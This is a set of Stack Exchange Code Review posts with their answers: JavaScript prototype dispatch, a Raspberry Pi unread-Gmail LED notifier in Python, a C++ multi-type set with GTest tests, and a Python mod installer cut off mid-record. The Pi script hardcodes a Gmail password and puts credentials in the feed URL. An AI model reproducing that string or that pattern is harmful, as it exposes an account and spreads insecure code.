<p>I am wondering if this approach is better in terms of maintainability and extensibility or if I should have stayed with the if-else-approach or if there is anything better to solve my current use case.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T14:39:00.050",
"Id": "82597",
"Score": "2",
"body": "What is the goal of this code?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:23:08.610",
"Id": "82601",
"Score": "1",
"body": "Any reason to not simply overwrite `bind` in the subclasses? You, as you say, implement specifics for the specific classes. Sometimes that means overriding the parents class' function"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:31:26.250",
"Id": "82603",
"Score": "0",
"body": "@Flambino That is what I mean by stating that I miss the `parent` method. I do not want to duplicate the generic parts, but keep that in the main object. If I would do this in another language I would do something on the lines of `SpecificObject.bind{ parent.bind(); doSpecificStuff() };`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:32:05.377",
"Id": "82604",
"Score": "0",
"body": "@Flambino Your comment made me change my google search pattern and now I stumble accross this. It seems that also does what I want: http://stackoverflow.com/questions/11854958/how-to-call-a-parent-method-in-child-class-in-javascript"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:37:14.933",
"Id": "82626",
"Score": "1",
"body": "@k0pernikus Ah, ok, now I understand your question. But yes, you can use the code in the SO answer. Or, depending on how you set up your inheritance mechanism, you can have the parent available, or have `super` available in all methods ([CoffeeScript does this](http://www.jimmycuadra.com/posts/coffeescript-classes-under-the-hood))"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T02:02:15.740",
"Id": "82684",
"Score": "1",
"body": "I'm not entirely sure this applies, but John Resig's [Simple Class Inheritance](http://ejohn.org/blog/simple-javascript-inheritance) provides `super` to access overridden methods."
}
] | [
{
"body": "<p>Why wouldn't you create a method with a unique name accross all subclasses? In this way you don't have to generically build a function name, which can be a pain to maintain code / refactor</p>\n\n<p>For instance :</p>\n\n<pre><code>var MainPrototype = {\n bind: function() {\n //generic stuff\n if (typeof(this.subBind) === \"function\") {\n this.subBind();\n }\n }\n};\n\nvar SpecificType = $.extend(Object.create(MainPrototype, {\n type: 'specific',\n subBind: function() {\n // doSpecifics\n }\n});\nvar OtherSpecificType = $.extend(Object.create(MainPrototype, {\n function: 'other',\n subBind: function() {\n // doSpecifics\n }\n})\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:05:49.563",
"Id": "82599",
"Score": "0",
"body": "No reason other than it stems from my if-else-mess :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:05:00.017",
"Id": "47149",
"ParentId": "47145",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "47149",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T14:16:12.333",
"Id": "47145",
"Score": "4",
"Tags": [
"javascript",
"optimization",
"jquery",
"object-oriented"
],
"Title": "Should I differentiate object types by calling methods via variables?"
} | 47145 |
<p>I'm learning how to use Python with the Raspberry Pi. I successfully followed the tutorial for how to have a Python script run on the Pi to check for new email and turn on an LED if any new messages are in an inbox. I wanted to give myself a challenge by adding a feature to blink a secondary LED to indicate the number of waiting messages. I played around for a while and got a script working, but would like to know if I implemented this correctly.</p>
<p>Am I using threading correctly? Is there an easier way to check a feed every n seconds, and if new messages are present, then continually run <code>blink()</code> until the next feed check?</p>
<pre><code>#!/user/bin/env python
from threading import Thread, Event
from time import sleep
import feedparser
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
BLUE_LED = 17
BIG_LED = 23
GPIO.setup(BLUE_LED, GPIO.OUT)
GPIO.setup(BIG_LED, GPIO.OUT)
USERNAME = "user@gmail.com"
PASSWORD = "gzvioCNiAvFvKoqY"
class Repeat(Thread):
def __init__(self,delay,function,*args,**kwargs):
Thread.__init__(self)
self.abort = Event()
self.delay = delay
self.args = args
self.kwargs = kwargs
self.function = function
def stop(self):
self.abort.set()
def run(self):
while not self.abort.isSet():
self.function(*self.args,**self.kwargs)
self.abort.wait(self.delay)
def blink(count):
for x in range(0, count):
print "blink", x + 1
GPIO.output(BLUE_LED, True)
sleep(.25)
GPIO.output(BLUE_LED, False)
sleep(.25)
sleep(1) #pause between blinks
try:
while True:
print "Starting b"
b = Repeat(1,blink,0)
b.start()
big_led = 0
print "---> ---> Checking feed"
messages = int(feedparser.parse("https://" + USERNAME + ":" + PASSWORD + "@mail.google.com/gmail/feed/atom")["feed"]["fullcount"])
if messages >= 1:
# turn on big LED
print "Turning on Big LED"
GPIO.output(BIG_LED, True)
big_led = 1
print "There are", messages, "unread email messages"
b = Repeat(1,blink,messages)
b.start()
else:
print "There are no new messages"
if big_led == 1:
print "Turning off Big LED"
GPIO.output(BIG_LED, False)
sleep(60) # check the feed every minute for new mail
print "Stopping b"
b.stop()
b.join()
except (KeyboardInterrupt, SystemExit):
b.stop()
b.join()
GPIO.cleanup()
print 'Program Stopped Manually!'
raise
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:18:39.130",
"Id": "82805",
"Score": "1",
"body": "I would replace `Thread.__init__(self)` with the `super(Repeat, self).__init__()` as it is a better way of calling base functions."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:29:18.107",
"Id": "82809",
"Score": "0",
"body": "Also consider breaking up larger lines into smaller portions to keep on track with PEP8's \"Limit all lines to a maximum of 79 characters\" rule. And use the `sting.format` function when surrounding strings with more text. ie) `\"https://{}:{}@...\".format(username,password)`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:38:10.577",
"Id": "82969",
"Score": "0",
"body": "Minor point: the `try...except` could quite possibly be better a `try...finally`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T22:10:27.897",
"Id": "83296",
"Score": "0",
"body": "Great suggestions! Thank you. I'm going to try Veedrac's structure below and look up what PEP8 says. I generally like to avoid writing long lines of code."
}
] | [
{
"body": "<p>That looks about right. Your thread doesn't do very much, though, so you might want to consider something like so (untested):</p>\n\n<pre><code>def blink(abort, delay, count):\n while not abort.isSet():\n for x in range(0, count):\n print \"blink\", x + 1\n GPIO.output(BLUE_LED, True)\n sleep(.25)\n GPIO.output(BLUE_LED, False)\n sleep(.25)\n sleep(1) #pause between blinks\n abort.wait(delay)\n</code></pre>\n\n<p>Then later</p>\n\n<pre><code>thread_stop = Event()\nb = threading.Thread.run(target=blink, args=(thread_stop, 1, 0))\n</code></pre>\n\n<p>which prevents need for the whole class. It's not a suggestion as much as a note that you did more than you needed to.</p>\n\n<p>Note that your <code>blink</code> should really be using <code>abort.wait</code> and should cooperate with the other <code>abort.wait</code> to have sensible timings.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T22:07:49.133",
"Id": "83295",
"Score": "0",
"body": "Thanks for your answer Veedrac. I'll give your suggestion a try. I didn't know about `about.wait` which seems like exactly what I was going for. Good to know I at least got the threading aspect right—even though it is doing very little."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T07:18:59.407",
"Id": "83360",
"Score": "0",
"body": "The `start` parameter of `range` defaults to zero, so you can write `for x in range(count)` which is the Python idiom for this scenario."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:54:11.703",
"Id": "47359",
"ParentId": "47147",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47359",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T14:46:27.027",
"Id": "47147",
"Score": "5",
"Tags": [
"python",
"multithreading",
"python-2.x",
"raspberry-pi"
],
"Title": "Raspberry Pi LED for new emails"
} | 47147 |
<p>I would like a review for this code which is used apparently successfully in my current project. More info are available in <a href="https://gist.github.com/Klaim/10599137">this gist</a> but I'm pasting here the main info:</p>
<blockquote>
<p>The project use C++11/14 as provided by VS2013 (no CTP) and Boost. I
didn't try to compile it in other compilers yet (lack of time and
resources). The tests are provided in another other file, it compiles
and run for me but the tests themselves might require review too.
Tests are using GTest. I use custom assert macros which I will not
explain here as they are obvious to understand.</p>
<p>AnyValueSet: I use this container more or less as a message board, the
values being the messages. Sometime, I use types which are compared
using only part of their value and contain more data that are not used
in comparison, which is why there are overwritting functions.</p>
</blockquote>
<p>I would like reviews in particular concerning correctness (including the tests), performance and security.
I expose this code here because I am alone on my (big) project and I fear the lack multiple eyes on the code, in particular for this part of code which is reused several time in the project.</p>
<p>Note that this container isn't supposed to be as generic as a standard or boost container but is specific to my use (which I think should be clear from the tests).</p>
<p>The full code, extracted from my project (which explains the namespace):</p>
<pre><code>#ifndef HGUARD_NETRUSH_INPUT_ANYVALUESET_HPP__
#define HGUARD_NETRUSH_INPUT_ANYVALUESET_HPP__
#include <memory>
#include <typeindex>
#include <vector>
#include <boost/container/flat_map.hpp>
#include <boost/container/flat_set.hpp>
#include <boost/optional.hpp>
#include <utilcxx/assert.hpp>
namespace netrush {
namespace input {
/** Set that can contain multiple value types.
The contained types must be Comparable, Copyable and CopyConstructible.
The identity of values is determined by comparison (operator< and operator==),
which allows for the type to have a different identity than it's value,
in which case overwriting can be used to change the non-observable state while keeping the identity.
*/
class AnyValueSet
{
public:
AnyValueSet() = default;
AnyValueSet( const AnyValueSet& other )
{
insert( other );
}
AnyValueSet& operator=( const AnyValueSet& other )
{
clear();
insert( other );
return *this;
}
AnyValueSet( AnyValueSet&& other )
: m_size_changed( std::move(other.m_size_changed) )
, m_size( std::move(other.m_size) )
, m_set_index( std::move(other.m_set_index) )
{}
AnyValueSet& operator=( AnyValueSet&& other )
{
m_size_changed = std::move(other.m_size_changed);
m_size = std::move(other.m_size);
m_set_index = std::move(other.m_set_index);
return *this;
}
/** Add a new value if not already stored.
@return True if the value have been added, false otherwise.
*/
template< class ValueType >
bool add( ValueType&& value )
{
auto& value_set = find_or_create_set<ValueType>();
bool was_added = value_set.add( std::forward<ValueType>(value) );
if( was_added )
size_changed();
return was_added;
}
/** Add a new value and overwrite the previous one even if it was already stored.
@return True if the value have been added, false if the value was overwritten.
*/
template< class ValueType >
bool overwrite( ValueType&& value )
{
auto& value_set = find_or_create_set<ValueType>();
bool was_added = value_set.overwrite( std::forward<ValueType>( value ) );
if( was_added )
size_changed();
return was_added;
}
/** Remove a value if it was stored. */
template< class ValueType >
void remove( const ValueType& value )
{
if( auto* value_set = find_set<ValueType>() )
{
value_set->remove( value );
size_changed();
}
}
/** Remove all values contained in the provided set which are stored in this one. */
void remove( const AnyValueSet& other )
{
if( other.empty() || this->empty() )
return;
auto current_slot = begin( m_set_index );
const auto end_current = end( m_set_index );
auto other_slot = begin( other.m_set_index );
const auto end_other = end( other.m_set_index );
while( current_slot != end_current
&& other_slot != end_other )
{
if( current_slot->first == other_slot->first )
{
auto& current_set_ptr = current_slot->second;
auto& other_set_ptr = other_slot->second;
UCX_ASSERT_NOT_NULL( current_set_ptr );
UCX_ASSERT_NOT_NULL( other_set_ptr );
current_set_ptr->remove( *other_set_ptr );
size_changed();
++other_slot;
}
++current_slot;
}
}
/** Search for the value comparable to the provided key.
The key can have a different type than the value or the same type.
If the value type is specified, the
@return Either a copy of the stored value or none if not found.
*/
template< class ValueType, class KeyType >
boost::optional<ValueType> find( const KeyType& key ) const
{
if( auto* value_set = find_set<ValueType>() )
{
return value_set->find( key );
}
return {};
}
/** Specializatoin of find() in case the value type is not specified. */
template< class ValueType >
boost::optional<ValueType> find( const ValueType& value ) const
{
return find<ValueType, ValueType>( value );
}
/** @return true if the specified key is comparable to a stored value of the specified value type, false otherwise. */
template< class ValueType, class KeyType >
bool contains( const KeyType& key ) const
{
if( auto* value_set = find_set<ValueType>() )
{
return value_set->contains( key );
}
return false;
}
/** @return true if the value is comparable to a stored value of the same type. */
template< class ValueType >
bool contains( const ValueType& value ) const
{
return contains<ValueType, ValueType>( value );
}
/** Insert all the values from the provided set which are not already stored into this one. */
void insert( const AnyValueSet& other )
{
for( const auto& set_pair : other.m_set_index )
{
auto& set_ptr = set_pair.second;
UCX_ASSERT_NOT_NULL( set_ptr );
if( auto value_set = find_set( set_pair.first ) )
{
value_set->insert( *set_ptr );
}
else
{
m_set_index.emplace( set_pair.first, set_ptr->clone() );
}
size_changed();
}
}
/** Insert all the values from the provided set which are not already stored into this one. */
void insert_overwrite( const AnyValueSet& other )
{
for( const auto& set_pair : other.m_set_index )
{
auto& set_ptr = set_pair.second;
UCX_ASSERT_NOT_NULL( set_ptr );
if( auto value_set = find_set( set_pair.first ) )
{
value_set->insert_overwrite( *set_ptr );
}
else
{
m_set_index.emplace( set_pair.first, set_ptr->clone() );
}
size_changed();
}
}
/** Copy and return all the values of the specified type. */
template< class ValueType >
std::vector<ValueType> all() const
{
if( auto* value_set = find_set<ValueType>() )
{
return value_set->values();
}
return {};
}
/** @return How many values are currently stored for all types. */
size_t size() const
{
if( m_size_changed )
{
m_size_changed = false;
compute_size();
}
return m_size;
}
/** @return true if there is at least one value stored of any type, false otherwise. */
bool empty() const
{
return m_set_index.empty()
|| size() == 0;
}
/** Destroy all values of the provided type. */
template< class ValueType >
void clear()
{
if( auto* value_set = find_set<ValueType>() )
{
value_set->clear();
size_changed();
}
}
/** Destroy all values of all types. */
void clear()
{
for( const auto& set_slot : m_set_index )
{
auto& set_ptr = set_slot.second;
UCX_ASSERT_NOT_NULL( set_ptr );
set_ptr->clear();
}
size_changed();
}
private:
struct Set
{
virtual void insert( const Set& other ) = 0;
virtual void insert_overwrite( const Set& other ) = 0;
virtual void remove( const Set& other ) = 0;
virtual std::unique_ptr<Set> clone() = 0;
virtual size_t size() const = 0;
virtual void clear() = 0;
virtual ~Set() = default;
};
template< class T >
class SetOf : public Set
{
boost::container::flat_set<T> m_values;
public:
SetOf() = default;
template< class Iterator >
SetOf( Iterator&& it_begin, Iterator&& it_end )
: m_values( std::forward<Iterator>( it_begin ), std::forward<Iterator>( it_end ) )
{}
/** Add a new value if not already stored.
@return True if the value have been added, false otherwise.
*/
bool add( T value )
{
auto result = m_values.emplace( std::move( value ) );
return result.second;
}
/** Add a new value and overwrite the previous one even if it was already there.
@return True if the value have been added, false if the value was overwritten.
*/
bool overwrite( T value )
{
auto result = m_values.insert( value );
if( !result.second )
{
*result.first = value;
return false;
}
return true;
}
void remove( const T& value ) { m_values.erase( value ); }
template< class KeyType >
boost::optional<T> find( const KeyType& key ) const
{
for( const auto& value : m_values )
{
if( value == key )
return value;
}
return {};
}
template< class KeyType >
bool contains( const KeyType& key ) const
{
for( const auto& value : m_values )
{
if( value == key )
return true;
}
return false;
}
void insert( const Set& other ) override
{
const auto& specific_set = static_cast<const SetOf<T>&>( other );
m_values.insert( begin(specific_set.m_values), end(specific_set.m_values) );
}
void insert_overwrite( const Set& other ) override
{
const auto& specific_set = static_cast<const SetOf<T>&>( other );
for( auto&& value : specific_set.m_values )
{
overwrite( value );
}
}
void remove( const Set& other ) override
{
const auto& specific_set = static_cast<const SetOf<T>&>( other );
m_values.erase( std::remove_if( begin( m_values ), end( m_values )
, [&]( const T& value ) { return specific_set.contains( value ); } )
, end( m_values ) );
}
std::unique_ptr<Set> clone() override
{
return std::make_unique<SetOf<T>>( begin( m_values ), end( m_values ) );
}
size_t size() const override { return m_values.size(); }
std::vector<T> values() const
{
return { begin( m_values ), end( m_values ) };
}
void clear() override { m_values.clear(); }
};
Set* find_set( std::type_index type_id ) const
{
auto find_it = m_set_index.find( type_id );
if( find_it != end( m_set_index ) )
{
auto& set_ptr = find_it->second;
auto& specific_set = *set_ptr;
return &specific_set;
}
return nullptr;
}
template< class T, typename ValueType = std::decay<T>::type >
SetOf<ValueType>* find_set() const
{
return static_cast<SetOf<ValueType>*>( find_set( typeid( ValueType ) ) );
}
template< class T, typename ValueType = std::decay<T>::type >
SetOf<ValueType>& find_or_create_set()
{
if( auto* specific_set = find_set<ValueType>() )
{
return *specific_set;
}
auto new_set = std::make_unique<SetOf<ValueType>>();
auto position = m_set_index.emplace( typeid( ValueType ), std::move(new_set) ).first;
auto& set_ptr = position->second;
return static_cast<SetOf<ValueType>&>( *set_ptr );
}
inline void size_changed() const { m_size_changed = true; }
void compute_size() const
{
m_size = 0;
for( const auto& set_pair : m_set_index )
{
auto& set_ptr = set_pair.second;
m_size += set_ptr->size();
}
}
boost::container::flat_map<std::type_index, std::unique_ptr<Set>> m_set_index;
mutable bool m_size_changed = false;
mutable size_t m_size = 0;
};
}}
#endif
</code></pre>
<p>The test code I use:</p>
<pre><code>#include <gtest/gtest.h>
#include <utility>
#include <string>
#include <netrush/system/input/anyvalueset.hpp>
using namespace netrush::input;
struct Foo
{
int k;
long l;
};
bool operator==( const Foo& a, const Foo& b )
{
return a.k == b.k
&& a.l == b.l
;
}
bool operator< ( const Foo& a, const Foo& b )
{
return a.k < b.k
&& a.l < b.l
;
}
struct Id
{
int value;
};
bool operator==( const Id& a, const Id& b )
{
return a.value == b.value;
}
bool operator< ( const Id& a, const Id& b )
{
return a.value < b.value;
}
struct Entity // The id is the identity, comparisons use only the id.
{
Id id;
std::string name;
};
bool operator==( const Entity& a, const Entity& b )
{
return a.id == b.id;
}
bool operator< ( const Entity& a, const Entity& b )
{
return a.id < b.id;
}
bool operator==( const Id& a, const Entity& b )
{
return a == b.id;
}
bool operator==( const Entity& a, const Id& b )
{
return b == a;
}
template< class T >
void test_all_operations( AnyValueSet& value_set, T value )
{
const auto begin_size = value_set.size();
value_set.add( value );
ASSERT_TRUE( value_set.contains( value ) );
const auto stored_value = value_set.find( value );
ASSERT_EQ( value, *stored_value );
ASSERT_EQ( begin_size + 1, value_set.size() );
auto values = value_set.all<T>();
auto find_it = std::find( begin( values ), end( values ), value );
ASSERT_NE( end( values ), find_it );
}
TEST( Test_AnyValueSet, any_kind_of_values )
{
static const auto BLAH = std::string{ "Blah" };
AnyValueSet value_set;
test_all_operations( value_set, 42 );
test_all_operations( value_set, 3.14 );
test_all_operations( value_set, 0.5f );
test_all_operations( value_set, Foo{ 42, 5 } );
test_all_operations( value_set, Id{ 1234 } );
test_all_operations( value_set, Entity{ Id{ 5678 }, "A" } );
test_all_operations( value_set, BLAH );
ASSERT_FALSE( value_set.empty() );
ASSERT_EQ( 7, value_set.size() );
AnyValueSet values_to_remove;
values_to_remove.add( BLAH );
values_to_remove.add( 0 );
values_to_remove.add( 2.5 );
value_set.remove( values_to_remove );
ASSERT_FALSE( value_set.contains( BLAH ) );
ASSERT_FALSE( value_set.empty() );
ASSERT_EQ( 6, value_set.size() );
value_set.clear<int>();
ASSERT_FALSE( value_set.empty() );
ASSERT_EQ( 5, value_set.size() );
value_set.clear();
ASSERT_TRUE( value_set.empty() );
}
TEST( Test_AnyValueSet, add_unique_simple_values )
{
AnyValueSet value_set;
value_set.add( 42 );
value_set.add( 42 );
value_set.add( 42 );
value_set.add( 42 );
value_set.add( 42 );
ASSERT_EQ( 1, value_set.size() );
}
TEST( Test_AnyValueSet, overwrite_unique_simple_values )
{
AnyValueSet value_set;
value_set.overwrite( 42 );
value_set.overwrite( 42 );
value_set.overwrite( 42 );
value_set.overwrite( 42 );
value_set.overwrite( 42 );
ASSERT_EQ( 1, value_set.size() );
}
TEST( Test_AnyValueSet, add_unique_key_values )
{
AnyValueSet value_set;
value_set.add( Entity{ Id{ 42 }, "A" } );
value_set.add( Entity{ Id{ 42 }, "B" } );
value_set.add( Entity{ Id{ 42 }, "C" } );
value_set.add( Entity{ Id{ 42 }, "D" } );
value_set.add( Entity{ Id{ 42 }, "E" } );
ASSERT_EQ( 1, value_set.size() );
{
auto entity = value_set.find<Entity>( Id{ 42 } );
ASSERT_TRUE( entity );
ASSERT_EQ( "A", entity->name );
}
AnyValueSet other_set;
other_set.add( Entity{ Id{ 42 }, "X" } );
value_set.insert( other_set );
ASSERT_EQ( 1, value_set.size() );
{
auto entity = value_set.find<Entity>( Id{ 42 } );
ASSERT_TRUE( entity );
ASSERT_EQ( "A", entity->name );
}
}
TEST( Test_AnyValueSet, overwrite_unique_key_values )
{
AnyValueSet value_set;
value_set.overwrite( Entity{ Id{ 42 }, "A" } );
value_set.overwrite( Entity{ Id{ 42 }, "B" } );
value_set.overwrite( Entity{ Id{ 42 }, "C" } );
value_set.overwrite( Entity{ Id{ 42 }, "D" } );
value_set.overwrite( Entity{ Id{ 42 }, "E" } );
ASSERT_EQ( 1, value_set.size() );
{
auto entity = value_set.find<Entity>( Id{ 42 } );
ASSERT_TRUE( entity );
ASSERT_EQ( "E", entity->name );
}
AnyValueSet other_set;
other_set.add( Entity{ Id{ 42 }, "A" } );
value_set.insert_overwrite( other_set );
ASSERT_EQ( 1, value_set.size() );
{
auto entity = value_set.find<Entity>( Id{ 42 } );
ASSERT_TRUE( entity );
ASSERT_EQ( "A", entity->name );
}
}
TEST( Test_AnyValueSet, merge_sets_same_type )
{
AnyValueSet set_a, set_b;
set_a.add( 1 );
set_a.add( 2 );
set_a.add( 3 );
set_a.add( 4 );
set_b.add( 1 );
set_b.add( 2 );
set_b.add( 3 );
set_b.add( 4 );
set_b.add( 5 );
set_b.add( 6 );
set_b.add( 7 );
set_b.add( 8 );
set_a.insert( set_b );
ASSERT_EQ( set_a.size(), set_b.size() );
auto b_values = set_b.all<int>();
for( const auto i : b_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
AnyValueSet set_c;
set_c.insert( set_a );
auto c_values = set_c.all<int>();
for( const auto i : c_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
for( const auto i : b_values )
{
ASSERT_TRUE( set_c.contains( i ) );
}
}
TEST( Test_AnyValueSet, merge_sets_different_types )
{
AnyValueSet set_a, set_b;
set_a.add( 1 );
set_a.add( 2 );
set_a.add( 3 );
set_a.add( 4 );
set_b.add( 1.f );
set_b.add( 2.f );
set_b.add( 3.f );
set_b.add( 4.f );
set_b.add( 5.f );
set_b.add( 6.f );
set_b.add( 7.f );
set_b.add( 8.f );
set_a.insert( set_b );
AnyValueSet set_c;
set_c.insert( set_a );
{
auto b_values = set_b.all<int>();
for( const auto i : b_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
auto c_values = set_c.all<int>();
for( const auto i : c_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
for( const auto i : b_values )
{
ASSERT_TRUE( set_c.contains( i ) );
}
}
{
auto b_values = set_b.all<float>();
for( const auto i : b_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
auto c_values = set_c.all<float>();
for( const auto i : c_values )
{
ASSERT_TRUE( set_a.contains( i ) );
}
for( const auto i : b_values )
{
ASSERT_TRUE( set_c.contains( i ) );
}
}
}
TEST( Test_AnyValueSet, copy_and_move )
{
AnyValueSet set_a;
set_a.add( 42 );
AnyValueSet set_b = set_a;
ASSERT_TRUE( set_a.contains( 42 ) );
ASSERT_TRUE( set_b.contains( 42 ) );
set_a.add( 33 );
ASSERT_TRUE( set_a.contains( 33 ) );
ASSERT_FALSE( set_b.contains( 33 ) );
AnyValueSet set_c = std::move(set_a);
ASSERT_FALSE( set_a.contains( 42 ) );
ASSERT_FALSE( set_a.contains( 33 ) );
ASSERT_TRUE( set_a.empty() );
ASSERT_TRUE( set_c.contains( 42 ) );
ASSERT_TRUE( set_c.contains( 33 ) );
ASSERT_FALSE( set_c.empty() );
}
</code></pre>
<p>All this is available on gist: <a href="https://gist.github.com/Klaim/10599137">https://gist.github.com/Klaim/10599137</a></p>
| [] | [
{
"body": "<p>I don't see any real problem, only tidbits and things that could potentially be done differently:</p>\n\n<ul>\n<li>Your header guard name is actually <a href=\"http://en.cppreference.com/w/cpp/language/identifiers\" rel=\"nofollow\">reserved to the implementation</a> since it uses a double underscore.</li>\n<li>Moving integer types seems useless. You will probably get even perfomance if you simply copy them.</li>\n<li><p>You can use <a href=\"http://en.cppreference.com/w/cpp/language/list_initialization\" rel=\"nofollow\">list initialization</a> in the constructor initialization lists to prevent implicit narrowing type conversions. Be careful, it does not work with some special types (references for example).</p>\n\n<pre><code>AnyValueSet( AnyValueSet&& other )\n : m_size_changed{ std::move(other.m_size_changed) }\n , m_size{ std::move(other.m_size) }\n , m_set_index{ std::move(other.m_set_index) }\n{}\n</code></pre></li>\n</ul>\n\n<p>But overall, your code seems pretty good: the style is good (indentation, variable names, redability, proper use of <code>override</code> to prevent surprises, etc...) and the internal logic also seems good (type erasure, use of <code>mutable</code> to cache values, efficient use of iterators, etc...). Therefore, I don't think that you have to worry :)</p>\n\n<hr>\n\n<p>Ok, I tried to compile your code with GCC, and it seems that you actually have errors that MSVC is not able to catch:</p>\n\n<ul>\n<li><code>typename ValueType = std::decay<T>::type</code> actually produces an error. It seems that MSVC does not properly handles the dependant names. You need to add <code>typename</code> before <code>std::decay<></code>.</li>\n<li><p>I also got a warning concerning the order of initialization of the class members in your move constructor: in idiomatic code, the members should be initialized in the order they were declared. The order of initialization should be as follows:</p>\n\n<pre><code>AnyValueSet( AnyValueSet&& other )\n : m_set_index( std::move(other.m_set_index) )\n , m_size_changed( std::move(other.m_size_changed) )\n , m_size( std::move(other.m_size) )\n{}\n</code></pre></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T17:25:20.553",
"Id": "83247",
"Score": "0",
"body": "Thanks! \n\n 1. Oups! I thouht suffix double underscores were not reserved, I'll have to check in the standard. \n 2. My understanding is that moving integer types makes the compiler generate the same code than copying, so I was under the assumption that I wouldn't have to specialize code for these types. Do you think there would still be any benefit? \n 3. I'm not sure I understand your suggestion. Do you suggest using list initialization for AnyValueSet constructor? I guess a way to insert several values in one call could be helpful too, I don't have a specific case yet though."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T19:13:23.477",
"Id": "83266",
"Score": "0",
"body": "@Klaim I think that it generates the same code with or without `std::move` for integers (I'm not sure), but what I mean is that `std::move(other.m_size)` in your constructor does not seem useful, `other.m_size` would have been enough. I added an example for 3, and I forgot the word \"narrowing\": only implicit narrowing conversion are forbidden (for example `float` to `int`). Sometimes, a `float` is implicitly converted to an `int` and you loss precision without knowing where your error comes from. List initialization solves this problem :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T19:17:10.937",
"Id": "83269",
"Score": "0",
"body": "@Klaim Even better: list initialization forbids for example `unsigned a{-1}`: it catches that corner case where you have a huge number somewhere and you don't know why because of an `unsigned` overflow."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T21:21:20.847",
"Id": "83293",
"Score": "0",
"body": "Ok I knew about narrowing in initializer expression but didn't take that into account indeed. Thanks for having tested on GCC, I'll fix these now."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T15:30:10.373",
"Id": "47492",
"ParentId": "47152",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47492",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:45:54.920",
"Id": "47152",
"Score": "9",
"Tags": [
"c++",
"c++11"
],
"Title": "AnySetValue - a set of with multiple types of values"
} | 47152 |
<p>My original code is <a href="https://codereview.stackexchange.com/questions/41531/installing-mods-with-python">here</a>. I made some changes to it based on your suggestions, but then I lost my flash drive and had to redo it. I have a suspicion that my second version was better than this one, so could you all help me out one more time?</p>
<pre><code>import os, shutil, zipfile
def subtractname(path):
newpath = str()
path = path.split("\\")
path.pop()
for x in range(len(path) - 1):
newpath += (path[x] + "\\")
newpath += path[len(path) - 1]
return newpath
def pathtoname(path):
path = path.split("\\")
newpath = path[len(path) - 1]
newpath = newpath[:-4]
return(newpath)
def makepath(path):
try:
os.makedirs(path)
except FileExistsError:
shutil.rmtree(path)
os.makedirs(path)
def getscds(targetfolder):
global scdlist
filelist = os.listdir(targetfolder)
scdlist = []
for file in filelist:
if '.scd' in file:
scdlist.append(os.path.join(targetfolder, file))
return scdlist
def unzip(file, target):
modscd = zipfile.ZipFile(file)
makepath(target)
modscd.extractall(target)
def checkdirs(target):
isfile = 0
targetlist = os.listdir(target)
for files in targetlist:
if not os.path.isfile(files):
isfile = isfile + 1
if isfile == len(os.listdir(target)):
return False
else:
return True
def install(folderlist):
newpathlist = []
for folder in folderlist:
pathlist = getscds(folder)
for path in pathlist:
newpath = os.path.join(subtractname(path), ("f_" + pathtoname(path)))
newpathlist.append(newpath)
unzip(path, newpath)
if checkdirs(newpath):
shutil.copy(path, r"C:\Program Files (x86)\Steam\steamapps\common\supreme commander 2\gamedata")
newpathlist.remove(newpath)
return newpathlist
a = input()
b = [a]
install(install(install(b)))
</code></pre>
<p>A note: this code SHOULD actually work if you run it, but I haven't incorporated error handling yet.</p>
<p>I know that the last three lines can be condensed into one, but aside from that is there anything that could be improved here? I'm not really looking for naming conventions or comments, but I'm fine with it if you want to throw them in along with some more practical suggestions.</p>
<p>EDIT: I just tried running this on a friend's computer, and it may not work after all. Ideas?</p>
| [] | [
{
